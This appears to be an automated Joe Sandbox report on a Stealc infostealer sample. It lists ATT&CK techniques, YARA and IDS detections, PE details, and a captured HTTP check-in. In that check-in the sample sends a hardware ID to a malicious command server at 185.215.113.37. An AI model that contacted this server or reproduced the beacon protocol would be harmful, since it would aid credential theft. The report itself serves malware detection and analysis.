Source: file.exe, file.exe, 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: DjF=Program Manager
Source: file.exe, 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: oDjF=Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_005D7B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005D6920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_005D6920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005D7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_005D7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005D7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_005D7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.5c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2215149403.000000000148E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2161251258.00000000052F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4392, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.5c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2215149403.000000000148E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2161251258.00000000052F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4392, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://185.215.113.37/ws	100%	URL Reputation	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
198.187.3.20.in-addr.arpa	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37	file.exe, 00000000.00000002.2215149403.000000000148E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpuL	file.exe, 00000000.00000002.2215149403.00000000014E9000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37L	file.exe, 00000000.00000002.2215149403.000000000148E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/ws	file.exe, 00000000.00000002.2215149403.00000000014E9000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1532741
Start date and time:	2024-10-13 21:03:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 85
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9478766132001075
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'854'976 bytes
MD5:	054dffcd797e0e40c9e7b3050814f148
SHA1:	d5d545a246bb31a238e4a2632bdc878a35bd8d7e
SHA256:	6dbfc677cbb25ac652a97431f9afc4811639b3dae9b640976c0b9bb8d9a54404
SHA512:	b03a463b63730b096ceabda5deefd631199b89e79e56f8e8a0bdf8f7b14f0ec89998ac65acfd8ef18bbe9b863d14a3bb2f3424974a3b1fb53e6323d5d97be61e
SSDEEP:	49152:PN3hmoVX/5v537z9p56k9SrdZrsIip8GIJSHfdafIYxJj8Q:nm21537z9p4nrzsIJJS/d1Oj8
TLSH:	278533872BE96C71E6F9DB764A0F3E47E2B22FD8418363FB9404D05909A5C715A3D02B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaa1000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F7F14B4C8FAh
cvttps2pi mm3, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F7F14B4E8F5h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	d80fe44726714cd804974098735d69c0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2a3000	0x200	d87aaad9220892c0cc0bf5df02e89980	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
yhphlozs	0x501000	0x19f000	0x19ea00	35f5083384d3f7726e928914ac15fff2	False	0.9949685097603256	data	7.95378057749378	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rdjojuwm	0x6a0000	0x1000	0x600	0d20971c6dbd5bdf53ced50d55ccd832	False	0.6028645833333334	data	5.1654108440726985	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a1000	0x3000	0x2200	927926d4e56e47d895a14e19cf718572	False	0.00666360294117647	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-13T21:04:08.967465+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49711	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 13, 2024 21:04:07.949281931 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 21:04:07.954263926 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 21:04:07.954368114 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 21:04:07.954925060 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 21:04:07.959793091 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 21:04:08.684165955 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 21:04:08.684417963 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 21:04:08.731739044 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 21:04:08.736891031 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 21:04:08.967363119 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 21:04:08.967464924 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 21:04:12.519870996 CEST	49711	80	192.168.2.6	185.215.113.37

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 13, 2024 21:04:35.364052057 CEST	53	58413	162.159.36.2	192.168.2.6
Oct 13, 2024 21:04:35.922825098 CEST	59407	53	192.168.2.6	1.1.1.1
Oct 13, 2024 21:04:35.930768967 CEST	53	59407	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 13, 2024 21:04:35.922825098 CEST	192.168.2.6	1.1.1.1	0xfd8a	Standard query (0)	198.187.3.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 13, 2024 21:04:35.930768967 CEST	1.1.1.1	192.168.2.6	0xfd8a	Name error (3)	198.187.3.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49711	185.215.113.37	80	4392	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 13, 2024 21:04:07.954925060 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 13, 2024 21:04:08.684165955 CEST	203	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 19:04:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 21:04:08.731739044 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDAEGHDGDBGDGDAAFI Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 39 44 33 34 39 31 34 36 41 38 42 32 37 36 38 32 33 36 36 34 33 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 2d 2d 0d 0a Data Ascii: ------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="hwid"D9D349146A8B2768236643------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="build"doma------AFHDAEGHDGDBGDGDAAFI--
Oct 13, 2024 21:04:08.967363119 CEST	210	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 19:04:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	15:04:02
Start date:	13/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x5c0000
File size:	1'854'976 bytes
MD5 hash:	054DFFCD797E0E40C9E7B3050814F148
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2215149403.000000000148E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2161251258.00000000052F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 005D9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,014A1608), ref: 005D98A1
GetProcAddress.KERNEL32(76210000,014A1680), ref: 005D98BA
GetProcAddress.KERNEL32(76210000,014A15A8), ref: 005D98D2
GetProcAddress.KERNEL32(76210000,014A1560), ref: 005D98EA
GetProcAddress.KERNEL32(76210000,014A15C0), ref: 005D9903
GetProcAddress.KERNEL32(76210000,014A8B38), ref: 005D991B
GetProcAddress.KERNEL32(76210000,01495088), ref: 005D9933
GetProcAddress.KERNEL32(76210000,01494F48), ref: 005D994C
GetProcAddress.KERNEL32(76210000,014A1728), ref: 005D9964
GetProcAddress.KERNEL32(76210000,014A1590), ref: 005D997C
GetProcAddress.KERNEL32(76210000,014A1698), ref: 005D9995
GetProcAddress.KERNEL32(76210000,014A1740), ref: 005D99AD
GetProcAddress.KERNEL32(76210000,01495148), ref: 005D99C5
GetProcAddress.KERNEL32(76210000,014A16B0), ref: 005D99DE
GetProcAddress.KERNEL32(76210000,014A1578), ref: 005D99F6
GetProcAddress.KERNEL32(76210000,01494FA8), ref: 005D9A0E
GetProcAddress.KERNEL32(76210000,014A16F8), ref: 005D9A27
GetProcAddress.KERNEL32(76210000,014A16C8), ref: 005D9A3F
GetProcAddress.KERNEL32(76210000,01495188), ref: 005D9A57
GetProcAddress.KERNEL32(76210000,014A17D0), ref: 005D9A70
GetProcAddress.KERNEL32(76210000,014951A8), ref: 005D9A88
LoadLibraryA.KERNEL32(014A16E0,?,005D6A00), ref: 005D9A9A
LoadLibraryA.KERNEL32(014A14E8,?,005D6A00), ref: 005D9AAB
LoadLibraryA.KERNEL32(014A1710,?,005D6A00), ref: 005D9ABD
LoadLibraryA.KERNEL32(014A1758,?,005D6A00), ref: 005D9ACF
LoadLibraryA.KERNEL32(014A1770,?,005D6A00), ref: 005D9AE0
GetProcAddress.KERNEL32(75B30000,014A1788), ref: 005D9B02
GetProcAddress.KERNEL32(751E0000,014A1518), ref: 005D9B23
GetProcAddress.KERNEL32(751E0000,014A1530), ref: 005D9B3B
GetProcAddress.KERNEL32(76910000,014A9070), ref: 005D9B5D
GetProcAddress.KERNEL32(75670000,014951C8), ref: 005D9B7E
GetProcAddress.KERNEL32(77310000,014A8AE8), ref: 005D9B9F
GetProcAddress.KERNEL32(77310000,NtQueryInformationProcess), ref: 005D9BB6

Strings

NtQueryInformationProcess, xrefs: 005D9BAA

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 0abe843c564d737f342c3fb83748743e5bdd05ce3ddaa2c909eef563a2628f78
Instruction ID: ddbf7f6870fe11d13df2d45c05f24bc7c51e492f02038a192a7ef9fe38431be4
Opcode Fuzzy Hash: 0abe843c564d737f342c3fb83748743e5bdd05ce3ddaa2c909eef563a2628f78
Instruction Fuzzy Hash: 49A11BB6510344AFD3DCEFA8ED88A663BF9F78D301714C52AA645C3264D739A841CB52

Function 005C45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 005C460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 005C479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005C45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005C462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005C46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005C45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005C477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005C475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005C4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005C45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005C471E
